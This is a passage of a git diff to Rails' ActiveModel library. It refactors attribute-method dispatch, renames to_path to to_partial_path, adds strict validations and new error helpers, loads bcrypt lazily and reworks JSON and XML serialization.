- generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1
- define_method('#{method_name}') do |*args|
- send('#{matcher.method_missing_target}', '#{attr_name}', *args)
- end
- RUBY
- end
+ define_optimized_call generated_attribute_methods, method_name, matcher.method_missing_target, attr_name.to_s
end
end
end
@@ -336,7 +292,7 @@ module ActiveModel
protected
def instance_method_already_implemented?(method_name)
- method_defined?(method_name)
+ generated_attribute_methods.method_defined?(method_name)
end
private
@@ -349,27 +305,65 @@ module ActiveModel
# used to alleviate the GC, which ultimately also speeds up the app
# significantly (in our case our test suite finishes 10% faster with
# this cache).
- def attribute_method_matchers_cache
+ def attribute_method_matchers_cache #:nodoc:
@attribute_method_matchers_cache ||= {}
end
- def attribute_method_matcher(method_name)
+ def attribute_method_matcher(method_name) #:nodoc:
if attribute_method_matchers_cache.key?(method_name)
attribute_method_matchers_cache[method_name]
else
+ # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
+ # will match every time.
+ matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
match = nil
- attribute_method_matchers.detect { |method| match = method.match(method_name) }
+ matchers.detect { |method| match = method.match(method_name) }
attribute_method_matchers_cache[method_name] = match
end
end
+ # Define a method `name` in `mod` that dispatches to `send`
+ # using the given `extra` args. This fallbacks `define_method`
+ # and `send` if the given names cannot be compiled.
+ def define_optimized_call(mod, name, send, *extra) #:nodoc:
+ if name =~ NAME_COMPILABLE_REGEXP
+ defn = "def #{name}(*args)"
+ else
+ defn = "define_method(:'#{name}') do |*args|"
+ end
+
+ extra = (extra.map(&:inspect) << "*args").join(", ")
+
+ if send =~ CALL_COMPILABLE_REGEXP
+ target = "#{send}(#{extra})"
+ else
+ target = "send(:'#{send}', #{extra})"
+ end
+
+ mod.module_eval <<-RUBY, __FILE__, __LINE__ + 1
+ #{defn}
+ #{target}
+ end
+ RUBY
+ end
+
class AttributeMethodMatcher
attr_reader :prefix, :suffix, :method_missing_target
- AttributeMethodMatch = Struct.new(:target, :attr_name)
+ AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
def initialize(options = {})
options.symbolize_keys!
+
+ if options[:prefix] == '' || options[:suffix] == ''
+ ActiveSupport::Deprecation.warn(
+ "Specifying an empty prefix/suffix for an attribute method is no longer " \
+ "necessary. If the un-prefixed/suffixed version of the method has not been " \
+ "defined when `define_attribute_methods` is called, it will be defined " \
+ "automatically."
+ )
+ end
+
@prefix, @suffix = options[:prefix] || '', options[:suffix] || ''
@regex = /^(#{Regexp.escape(@prefix)})(.+?)(#{Regexp.escape(@suffix)})$/
@method_missing_target = "#{@prefix}attribute#{@suffix}"
@@ -378,7 +372,7 @@ module ActiveModel
def match(method_name)
if @regex =~ method_name
- AttributeMethodMatch.new(method_missing_target, $2)
+ AttributeMethodMatch.new(method_missing_target, $2, method_name)
else
nil
end
@@ -387,6 +381,10 @@ module ActiveModel
def method_name(attr_name)
@method_name % attr_name
end
+
+ def plain?
+ prefix.empty? && suffix.empty?
+ end
end
end
@@ -401,13 +399,21 @@ module ActiveModel
# It's also possible to instantiate related objects, so a Client class
# belonging to the clients table with a +master_id+ foreign key can
# instantiate master through Client#master.
- def method_missing(method_id, *args, &block)
- method_name = method_id.to_s
- if match = match_attribute_method?(method_name)
- guard_private_attribute_method!(method_name, args)
- return __send__(match.target, match.attr_name, *args, &block)
+ def method_missing(method, *args, &block)
+ if respond_to_without_attributes?(method, true)
+ super
+ else
+ match = match_attribute_method?(method.to_s)
+ match ? attribute_missing(match, *args, &block) : super
end
- super
+ end
+
+ # attribute_missing is like method_missing, but for attributes. When method_missing is
+ # called we check to see if there is a matching attribute method. If so, we call
+ # attribute_missing to dispatch the attribute. This method can be overloaded to
+ # customise the behaviour.
+ def attribute_missing(match, *args, &block)
+ __send__(match.target, match.attr_name, *args, &block)
end
# A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
@@ -416,15 +422,14 @@ module ActiveModel
alias :respond_to_without_attributes? :respond_to?
def respond_to?(method, include_private_methods = false)
if super
- return true
+ true
elsif !include_private_methods && super(method, true)
# If we're here then we haven't found among non-private methods
# but found among all methods. Which means that the given method is private.
- return false
- elsif match_attribute_method?(method.to_s)
- return true
+ false
+ else
+ !match_attribute_method?(method.to_s).nil?
end
- super
end
protected
@@ -440,13 +445,6 @@ module ActiveModel
match && attribute_method?(match.attr_name) ? match : nil
end
- # prevent method_missing from calling private methods with #send
- def guard_private_attribute_method!(method_name, args)
- if self.class.private_method_defined?(method_name)
- raise NoMethodError.new("Attempt to call private method `#{method_name}'", method_name, args)
- end
- end
-
def missing_attribute(attr_name, stack)
raise ActiveModel::MissingAttributeError, "missing attribute: #{attr_name}", stack
end
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index 37d0c9a0b9..15103f1185 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -41,7 +41,7 @@ module ActiveModel
# You can choose not to have all three callbacks by passing a hash to the
# define_model_callbacks method.
#
- # define_model_callbacks :create, :only => :after, :before
+ # define_model_callbacks :create, :only => [:after, :before]
#
# Would only create the after_create and before_create callback methods in your
# class.
@@ -93,7 +93,7 @@ module ActiveModel
:only => [:before, :around, :after]
}.merge(options)
- types = Array.wrap(options.delete(:only))
+ types = Array.wrap(options.delete(:only))
callbacks.each do |callback|
define_callbacks(callback, options)
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 39977f12c3..80a3ba51c3 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -4,7 +4,7 @@ require 'active_support/inflector'
module ActiveModel
# == Active Model Conversions
#
- # Handles default conversions: to_model, to_key, to_param, and to_path.
+ # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
#
# Let's take for example this non-persisted object.
#
@@ -54,15 +54,15 @@ module ActiveModel
# Returns a string identifying the path associated with the object.
# ActionPack uses this to find a suitable partial to represent the object.
- def to_path
- self.class._to_path
+ def to_partial_path
+ self.class._to_partial_path
end
module ClassMethods #:nodoc:
# Provide a class level cache for the to_path. This is an
# internal method and should not be accessed directly.
- def _to_path #:nodoc:
- @_to_path ||= begin
+ def _to_partial_path #:nodoc:
+ @_to_partial_path ||= begin
element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self))
collection = ActiveSupport::Inflector.tableize(self)
"#{collection}/#{element}".freeze
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index e3e71525fa..026f077ee7 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -29,7 +29,7 @@ module ActiveModel
#
# include ActiveModel::Dirty
#
- # define_attribute_methods = [:name]
+ # define_attribute_methods [:name]
#
# def name
# @name
@@ -98,7 +98,7 @@ module ActiveModel
# person.name = 'bob'
# person.changed? # => true
def changed?
- !changed_attributes.empty?
+ changed_attributes.any?
end
# List of attributes with unsaved changes.
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 1cf8144e98..8337b04c0d 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -49,7 +49,7 @@ module ActiveModel
#
# The last three methods are required in your object for Errors to be
# able to generate error messages correctly and also handle multiple
- # languages. Of course, if you extend your object with ActiveModel::Translations
+ # languages. Of course, if you extend your object with ActiveModel::Translation
# you will not need to implement the last two. Likewise, using
# ActiveModel::Validations will handle the validation related methods
# for you.
@@ -63,7 +63,7 @@ module ActiveModel
class Errors
include Enumerable
- CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank]
+ CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
attr_reader :messages
@@ -88,6 +88,7 @@ module ActiveModel
def include?(error)
(v = messages[error]) && v.any?
end
+ alias :has_key? :include?
# Get messages for +key+
def get(key)
@@ -174,11 +175,12 @@ module ActiveModel
to_a.size
end
- # Returns true if there are any errors, false if not.
+ # Returns true if no errors are found, false otherwise.
def empty?
all? { |k, v| v && v.empty? }
end
alias_method :blank?, :empty?
+
# Returns an xml formatted representation of the Errors hash.
#
# p.errors.add(:name, "can't be blank")
@@ -203,20 +205,16 @@ module ActiveModel
messages.dup
end
- # Adds +message+ to the error messages on +attribute+, which will be returned on a call to
- # <tt>on(attribute)</tt> for the same attribute. More than one error can be added to the same
- # +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>.
+ # Adds +message+ to the error messages on +attribute+. More than one error can be added to the same
+ # +attribute+.
# If no +message+ is supplied, <tt>:invalid</tt> is assumed.
#
# If +message+ is a symbol, it will be translated using the appropriate scope (see +translate_error+).
# If +message+ is a proc, it will be called, allowing for things like <tt>Time.now</tt> to be used within an error.
def add(attribute, message = nil, options = {})
- message ||= :invalid
-
- if message.is_a?(Symbol)
- message = generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
- elsif message.is_a?(Proc)
- message = message.call
+ message = normalize_message(attribute, message, options)
+ if options[:strict]
+ raise ActiveModel::StrictValidationFailed, message
end
self[attribute] << message
@@ -239,6 +237,15 @@ module ActiveModel
end
end
+ # Returns true if an error on the attribute with the given message is present, false otherwise.
+ # +message+ is treated the same as for +add+.
+ # p.errors.add :name, :blank
+ # p.errors.added? :name, :blank # => true
+ def added?(attribute, message = nil, options = {})
+ message = normalize_message(attribute, message, options)
+ self[attribute].include? message
+ end
+
# Returns all the full error messages in an array.
#
# class Company
@@ -250,20 +257,22 @@ module ActiveModel
# company.errors.full_messages # =>
# ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
def full_messages
- map { |attribute, message|
- if attribute == :base
- message
- else
- attr_name = attribute.to_s.gsub('.', '_').humanize
- attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
-
- I18n.t(:"errors.format", {
- :default => "%{attribute} %{message}",
- :attribute => attr_name,
- :message => message
- })
- end
- }
+ map { |attribute, message| full_message(attribute, message) }
+ end
+
+ # Returns a full message for a given attribute.
+ #
+ # company.errors.full_message(:name, "is invalid") # =>
+ # "Name is invalid"
+ def full_message(attribute, message)
+ return message if attribute == :base
+ attr_name = attribute.to_s.gsub('.', '_').humanize
+ attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
+ I18n.t(:"errors.format", {
+ :default => "%{attribute} %{message}",
+ :attribute => attr_name,
+ :message => message
+ })
end
# Translates an error message in its default scope
@@ -293,13 +302,17 @@ module ActiveModel
def generate_message(attribute, type = :invalid, options = {})
type = options.delete(:message) if options[:message].is_a?(Symbol)
- defaults = @base.class.lookup_ancestors.map do |klass|
- [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
- :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
+ if @base.class.respond_to?(:i18n_scope)
+ defaults = @base.class.lookup_ancestors.map do |klass|
+ [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
+ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
+ end
+ else
+ defaults = []
end
defaults << options.delete(:message)
- defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}"
+ defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope)
defaults << :"errors.attributes.#{attribute}.#{type}"
defaults << :"errors.messages.#{type}"
@@ -318,5 +331,21 @@ module ActiveModel
I18n.translate(key, options)
end
+
+ private
+ def normalize_message(attribute, message, options)
+ message ||= :invalid
+
+ if message.is_a?(Symbol)
+ generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
+ elsif message.is_a?(Proc)
+ message.call
+ else
+ message
+ end
+ end
+ end
+
+ class StrictValidationFailed < StandardError
end
end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 08c2e5fcf3..bfe7ea1869 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -43,14 +43,14 @@ module ActiveModel
assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
end
- # == Responds to <tt>to_path</tt>
+ # == Responds to <tt>to_partial_path</tt>
#
# Returns a string giving a relative path. This is used for looking up
# partials. For example, a BlogPost model might return "blog_posts/blog_post"
#
- def test_to_path
- assert model.respond_to?(:to_path), "The model should respond to to_path"
- assert_kind_of String, model.to_path
+ def test_to_partial_path
+ assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
+ assert_kind_of String, model.to_partial_path
end
# == Responds to <tt>valid?</tt>
diff --git a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
index bb0526adc3..bbdddfb50d 100644
--- a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
+++ b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
@@ -44,8 +44,13 @@ module ActiveModel
class StrictSanitizer < Sanitizer
def process_removed_attributes(attrs)
+ return if (attrs - insensitive_attributes).empty?
raise ActiveModel::MassAssignmentSecurity::Error, "Can't mass-assign protected attributes: #{attrs.join(', ')}"
end
+
+ def insensitive_attributes
+ ['id']
+ end
end
class Error < StandardError
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index 26fa3062eb..953d24a3b2 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -8,23 +8,26 @@ module ActiveModel
attr_reader :singular, :plural, :element, :collection, :partial_path, :route_key, :param_key, :i18n_key
alias_method :cache_key, :collection
- deprecate :partial_path => "ActiveModel::Name#partial_path is deprecated. Call #to_path on model instances directly instead."
+ deprecate :partial_path => "ActiveModel::Name#partial_path is deprecated. Call #to_partial_path on model instances directly instead."
def initialize(klass, namespace = nil, name = nil)
name ||= klass.name
+
+ raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if name.blank?
+
super(name)
- @unnamespaced = self.sub(/^#{namespace.name}::/, '') if namespace
- @klass = klass
- @singular = _singularize(self).freeze
- @plural = ActiveSupport::Inflector.pluralize(@singular).freeze
- @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)).freeze
- @human = ActiveSupport::Inflector.humanize(@element).freeze
- @collection = ActiveSupport::Inflector.tableize(self).freeze
+ @unnamespaced = self.sub(/^#{namespace.name}::/, '') if namespace
+ @klass = klass
+ @singular = _singularize(self).freeze
+ @plural = ActiveSupport::Inflector.pluralize(@singular).freeze
+ @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)).freeze
+ @human = ActiveSupport::Inflector.humanize(@element).freeze
+ @collection = ActiveSupport::Inflector.tableize(self).freeze
@partial_path = "#{@collection}/#{@element}".freeze
- @param_key = (namespace ? _singularize(@unnamespaced) : @singular).freeze
- @route_key = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural).freeze
- @i18n_key = self.underscore.to_sym
+ @param_key = (namespace ? _singularize(@unnamespaced) : @singular).freeze
+ @route_key = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural).freeze
+ @i18n_key = self.underscore.to_sym
end
# Transform the model name into a more humane format, using I18n. By default,
@@ -79,7 +82,9 @@ module ActiveModel
# used to retrieve all kinds of naming-related information.
def model_name
@_model_name ||= begin
- namespace = self.parents.detect { |n| n.respond_to?(:_railtie) }
+ namespace = self.parents.detect do |n|
+ n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
+ end
ActiveModel::Name.new(self, namespace)
end
end
diff --git a/activemodel/lib/active_model/observing.rb b/activemodel/lib/active_model/observing.rb
index d48f2e8a1f..cd8eb357de 100644
--- a/activemodel/lib/active_model/observing.rb
+++ b/activemodel/lib/active_model/observing.rb
@@ -187,8 +187,7 @@ module ActiveModel
def observe(*models)
models.flatten!
models.collect! { |model| model.respond_to?(:to_sym) ? model.to_s.camelize.constantize : model }
- remove_possible_method(:observed_classes)
- define_method(:observed_classes) { models }
+ redefine_method(:observed_classes) { models }
end
# Returns an array of Classes to observe.
@@ -226,10 +225,10 @@ module ActiveModel
# Send observed_method(object) if the method exists and
# the observer is enabled for the given object's class.
- def update(observed_method, object) #:nodoc:
+ def update(observed_method, object, &block) #:nodoc:
return unless respond_to?(observed_method)
return if disabled_for?(object)
- send(observed_method, object)
+ send(observed_method, object, &block)
end
# Special method sent by the observed class when it is inherited.
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 63380d6ffd..db78864c67 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -1,5 +1,3 @@
-require 'bcrypt'
-
module ActiveModel
module SecurePassword
extend ActiveSupport::Concern
@@ -12,6 +10,10 @@ module ActiveModel
# a "password_confirmation" attribute) are automatically added.
# You can add more validations by hand if need be.
#
+ # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use has_secure_password:
+ #
+ # gem 'bcrypt-ruby', '~> 3.0.0'
+ #
# Example using Active Record (which automatically includes ActiveModel::SecurePassword):
#
# # Schema: User(name:string, password_digest:string)
@@ -30,6 +32,11 @@ module ActiveModel
# User.find_by_name("david").try(:authenticate, "notright") # => nil
# User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user
def has_secure_password
+ # Load bcrypt-ruby only when has_secure_password is used.
+ # This is to avoid ActiveModel (and by extension the entire framework) being dependent on a binary library.
+ gem 'bcrypt-ruby', '~> 3.0.0'
+ require 'bcrypt'
+
attr_reader :password
validates_confirmation_of :password
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index 9260c5082d..a4b58ab456 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -1,5 +1,7 @@
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/array/wrap'
+
module ActiveModel
# == Active Model Serialization
@@ -76,8 +78,11 @@ module ActiveModel
attribute_names -= Array.wrap(except).map(&:to_s)
end
+ hash = {}
+ attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) }
+
method_names = Array.wrap(options[:methods]).select { |n| respond_to?(n) }
- hash = Hash[(attribute_names + method_names).map { |n| [n, send(n)] }]
+ method_names.each { |n| hash[n] = send(n) }
serializable_add_includes(options) do |association, records, opts|
hash[association] = if records.is_a?(Enumerable)
@@ -91,17 +96,37 @@ module ActiveModel
end
private
+
+ # Hook method defining how an attribute value should be retrieved for
+ # serialization. By default this is assumed to be an instance named after
+ # the attribute. Override this method in subclasses should you need to
+ # retrieve the value for a given attribute differently:
+ #
+ # class MyClass
+ # include ActiveModel::Validations
+ #
+ # def initialize(data = {})
+ # @data = data
+ # end
+ #
+ # def read_attribute_for_serialization(key)
+ # @data[key]
+ # end
+ # end
+ #
+ alias :read_attribute_for_serialization :send
+
# Add associations specified via the <tt>:include</tt> option.
#
# Expects a block that takes as arguments:
# +association+ - name of the association
# +records+ - the association record(s) to be serialized
# +opts+ - options for the association records
- def serializable_add_includes(options = {})
+ def serializable_add_includes(options = {}) #:nodoc:
return unless include = options[:include]
unless include.is_a?(Hash)
- include = Hash[Array.wrap(include).map { |n| [n, {}] }]
+ include = Hash[Array.wrap(include).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
end
include.each do |association, opts|
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 4fbccd7419..c845440120 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -15,7 +15,7 @@ module ActiveModel
self.include_root_in_json = true
end
- # Returns a JSON string representing the model. Some configuration can be
+ # Returns a hash representing the model. Some configuration can be
# passed through +options+.
#
# The option <tt>include_root_in_json</tt> controls the top-level behavior
@@ -42,7 +42,7 @@ module ActiveModel
# The remainder of the examples in this section assume include_root_in_json is set to
# <tt>false</tt>.
#
- # Without any +options+, the returned JSON string will include all the model's
+ # Without any +options+, the returned Hash will include all the model's
# attributes. For example:
#
# user = User.find(1)
@@ -86,21 +86,15 @@ module ActiveModel
# "title": "Welcome to the weblog"},
# {"comments": [{"body": "Don't think too hard"}],
# "title": "So I was thinking"}]}
-
def as_json(options = nil)
- hash = serializable_hash(options)
-
- include_root = include_root_in_json
- if options.try(:key?, :root)
- include_root = options[:root]
+ root = include_root_in_json
+ root = options[:root] if options.try(:key?, :root)
+ if root
+ root = self.class.model_name.element if root == true
+ { root => serializable_hash(options) }
+ else
+ serializable_hash(options)
end
-
- if include_root
- custom_root = options && options[:root]
- hash = { custom_root || self.class.model_name.element => hash }
- end
-
- hash
end
def from_json(json, include_root=include_root_in_json)
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 64dda3bcee..d61d9d7119 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -15,10 +15,10 @@ module ActiveModel
class Attribute #:nodoc:
attr_reader :name, :value, :type
- def initialize(name, serializable, raw_value=nil)
+ def initialize(name, serializable, value)
@name, @serializable = name, serializable
- raw_value = raw_value.in_time_zone if raw_value.respond_to?(:in_time_zone)
- @value = raw_value || @serializable.send(name)
+ value = value.in_time_zone if value.respond_to?(:in_time_zone)
+ @value = value
@type = compute_type
end
@@ -49,40 +49,24 @@ module ActiveModel
def initialize(serializable, options = nil)
@serializable = serializable
@options = options ? options.dup : {}
-
- @options[:only] = Array.wrap(@options[:only]).map { |n| n.to_s }
- @options[:except] = Array.wrap(@options[:except]).map { |n| n.to_s }
end
- # To replicate the behavior in ActiveRecord#attributes, <tt>:except</tt>
- # takes precedence over <tt>:only</tt>. If <tt>:only</tt> is not set
- # for a N level model but is set for the N+1 level models,
- # then because <tt>:except</tt> is set to a default value, the second
- # level model can have both <tt>:except</tt> and <tt>:only</tt> set. So if
- # <tt>:only</tt> is set, always delete <tt>:except</tt>.
- def attributes_hash
- attributes = @serializable.attributes
- if options[:only].any?
- attributes.slice(*options[:only])
- elsif options[:except].any?
- attributes.except(*options[:except])
- else
- attributes
- end
+ def serializable_hash
+ @serializable.serializable_hash(@options.except(:include))
end
- def serializable_attributes
- attributes_hash.map do |name, value|
- self.class::Attribute.new(name, @serializable, value)
+ def serializable_collection
+ methods = Array.wrap(options[:methods]).map(&:to_s)
+ serializable_hash.map do |name, value|
+ name = name.to_s
+ if methods.include?(name)
+ self.class::MethodAttribute.new(name, @serializable, value)
+ else
+ self.class::Attribute.new(name, @serializable, value)
+ end
end
end
- def serializable_methods
- Array.wrap(options[:methods]).map do |name|
- self.class::MethodAttribute.new(name.to_s, @serializable) if @serializable.respond_to?(name.to_s)
- end.compact
- end
-
def serialize
require 'builder' unless defined? ::Builder
@@ -114,7 +98,7 @@ module ActiveModel
end
def add_attributes_and_methods
- (serializable_attributes + serializable_methods).each do |attribute|
+ serializable_collection.each do |attribute|
key = ActiveSupport::XmlMini.rename_key(attribute.name, options)
ActiveSupport::XmlMini.to_tag(key, attribute.value,
options.merge(attribute.decorations))
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index 01907ac9da..e628c6f306 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -58,6 +58,8 @@ module ActiveModel
# <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
# The method, proc or string should return or evaluate to a true or
# false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_acceptance_of(*attr_names)
validates_with AcceptanceValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index a9dcb0b505..6573a7d264 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -58,6 +58,8 @@ module ActiveModel
# <tt>:unless => :skip_validation</tt>, or
# <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_confirmation_of(*attr_names)
validates_with ConfirmationValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index d3b8d31502..644cc814a7 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -59,6 +59,8 @@ module ActiveModel
# * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_exclusion_of(*attr_names)
validates_with ExclusionValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index 090e8cfbae..d3faa8c6a6 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -84,6 +84,8 @@ module ActiveModel
# * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_format_of(*attr_names)
validates_with FormatValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 9a9270d615..147e2ecb69 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -59,6 +59,8 @@ module ActiveModel
# * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_inclusion_of(*attr_names)
validates_with InclusionValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index 144e73904e..6bc928bab7 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -23,7 +23,7 @@ module ActiveModel
keys = CHECKS.keys & options.keys
if keys.empty?
- raise ArgumentError, 'Range unspecified. Specify the :within, :maximum, :minimum, or :is option.'
+ raise ArgumentError, 'Range unspecified. Specify the :in, :within, :maximum, :minimum, or :is option.'
end
keys.each do |key|
@@ -96,6 +96,8 @@ module ActiveModel
# * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to
# count words as in above example.)
# Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
def validates_length_of(*attr_names)
validates_with LengthValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index 0d1903362c..34d447a0fa 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -107,6 +107,8 @@ module ActiveModel
# * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
# not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a true or false value.
+ # * <tt>:strict</tt> - Specifies whether validation should be strict.
+ # See <tt>ActiveModel::Validation#validates!</tt> for more information
#
# The following checks can also be supplied with a proc or a symbol which corresponds to a method:
# * <tt>:greater_than</tt>
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index cfb4c33dcc..9a643a6f5c 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -25,16 +25,18 @@ module ActiveModel
# This is due to the way Object#blank? handles boolean values: <tt>false.blank? # => true</tt>.
#
# Configuration options:
- # * <tt>message</tt> - A custom error message (default is: "can't be blank").
+ # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
# * <tt>:on</tt> - Specifies when this validation is active. Runs in all
# validation contexts by default (+nil+), other options are <tt>:create</tt>
# and <tt>:update</tt>.
- # * <tt>if</tt> - Specifies a method, proc or string to call to determine if the validation should
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
# occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
# The method, proc or string should return or evaluate to a true or false value.
- # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should
